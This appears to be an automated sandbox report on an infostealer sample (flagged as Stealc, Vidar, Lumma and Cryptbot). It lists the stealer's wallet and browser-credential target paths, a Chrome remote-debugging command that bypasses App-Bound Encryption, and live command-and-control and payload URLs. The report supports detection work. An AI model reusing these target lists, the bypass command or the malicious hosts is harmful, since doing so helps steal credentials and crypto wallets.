Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.9:49881 -> 34.17.28.197:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD20C40 sqlite3_bind_zeroblob,	0_2_6CD20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD20D60 sqlite3_bind_parameter_name,	0_2_6CD20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48EA0 sqlite3_clear_bindings,	0_2_6CC48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CD20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC46410 bind,WSAGetLastError,	0_2_6CC46410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC460B0 listen,WSAGetLastError,	0_2_6CC460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CC4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC46070 PR_Listen,	0_2_6CC46070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4C030 sqlite3_bind_parameter_count,	0_2_6CC4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD22D0 sqlite3_bind_blob,	0_2_6CBD22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC463C0 PR_Bind,	0_2_6CC463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	212 Process Injection	3 Obfuscated Files or Information	Security Account Manager	258 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	115 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	271 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	271 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.StealC
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	34%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe	34%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
x3hahome.twentykx20sb.top	0%	Avira URL Cloud	safe
https:///xboxlive.com	0%	Avira URL Cloud	safe
https://excel.office.comSRD1%	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php_%$L	100%	Avira URL Cloud	malware
http://154.216.20.237/Gd84kkjf/index.php	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php01#	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpV4	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php.5fM%	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php793001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpF5	100%	Avira URL Cloud	malware
https://xsts.auth.xboxlive.com3	0%	Avira URL Cloud	safe
https:///live.comM	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php01	100%	Avira URL Cloud	malware
http://www.google.comConsole	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php0/	100%	Avira URL Cloud	malware
https:///windows.net	0%	Avira URL Cloud	safe
https://word.office.comSRD1#	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbW	100%	Avira URL Cloud	malware
https:///WAB-23B4D62B-952A-47E7-969C-B95DBF145D3D.local	0%	Avira URL Cloud	safe
2KPnhome.twentykx20sb.top	0%	Avira URL Cloud	safe
https://tmpfiles.org/dl/16763651/build.exe760	0%	Avira URL Cloud	safe
https://tmpfiles.org/dl/16763651/build.exeoded	0%	Avira URL Cloud	safe
http://twentykx20sb.top/v1/upload.php	0%	Avira URL Cloud	safe
https://tmpfiles.org/dl/16763651/build.exea%	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)F	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedD	100%	Avira URL Cloud	malware
http://185.215.113.206ocal	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exe;	100%	Avira URL Cloud	malware
https://xsts.auth.xboxlive.com-969C-B95DBF145D3D.local	0%	Avira URL Cloud	safe
http://31.41.244.11/files/Spreadtest.cmd	100%	Avira URL Cloud	phishing
http://home.twentykx20sb.top/iPbGOhXhjezIEpnuodWg1732963366?argument=rh10FizSkZe46bf51733003679	0%	Avira URL Cloud	safe
https://filelu.com/ajosckQ4MSrmZ5a2/build.exe_Melted.exe	0%	Avira URL Cloud	safe
https://aka..winsvr	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
home.twentykx20sb.top	34.17.28.197	true	false	high
twentykx20sb.top	34.17.28.197	true	false	high
tmpfiles.org	104.21.21.16	true	false	unknown
filelu.com	104.26.12.42	true	false	unknown
plus.l.google.com	172.217.17.78	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
3333.filelu.cloud	164.132.168.81	true	false	unknown
xmr-eu2.nanopool.org	51.68.137.186	true	false	high
httpbin.org	18.213.123.165	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
x3hahome.twentykx20sb.top	true	Avira URL Cloud: safe	unknown
http://154.216.20.237/Gd84kkjf/index.php	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://atten-supporse.biz/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high
2KPnhome.twentykx20sb.top	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://twentykx20sb.top/v1/upload.php	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
http://home.twentykx20sb.top/iPbGOhXhjezIEpnuodWg1732963366?argument=rh10FizSkZe46bf51733003679	true	Avira URL Cloud: safe	unknown
https://httpbin.org/ip	false		high
https://filelu.com/ajosckQ4MSrmZ5a2/build.exe_Melted.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	skotes.exe, 00000013.00000002.3954473622.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpV4	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https:///xboxlive.com	svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php_%$L	file.exe, 00000000.00000002.2072947240.00000000237F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000001E.00000003.3087116657.0000000002F10000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2658373854.0000000002F10000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php.5fM%	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php01#	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com/pwaimages	svchost.exe, 00000028.00000002.4015313521.0000019EA5D7E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comSRD1%	svchost.exe, 00000028.00000000.2745616041.0000019EA609D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2739161150.0000019EA5AB3000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSp	explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000001B.00000002.2646659499.0000000006274000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2708841815.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=A1668CA4549A443399161CE8D2237D12&timeOut=5000&oc	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/foodanddrink/foodnews/the-best-burger-place-in-phoenix-plus-see-the-rest-o	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/rT	explorer.exe, 0000001E.00000002.4028158216.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008796000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/	explorer.exe, 0000001E.00000002.4028158216.000000000862F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php793001	skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001A.00000002.2600480502.0000000004B45000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2639829502.0000000005211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.2842747514.0000000004BA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpF5	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
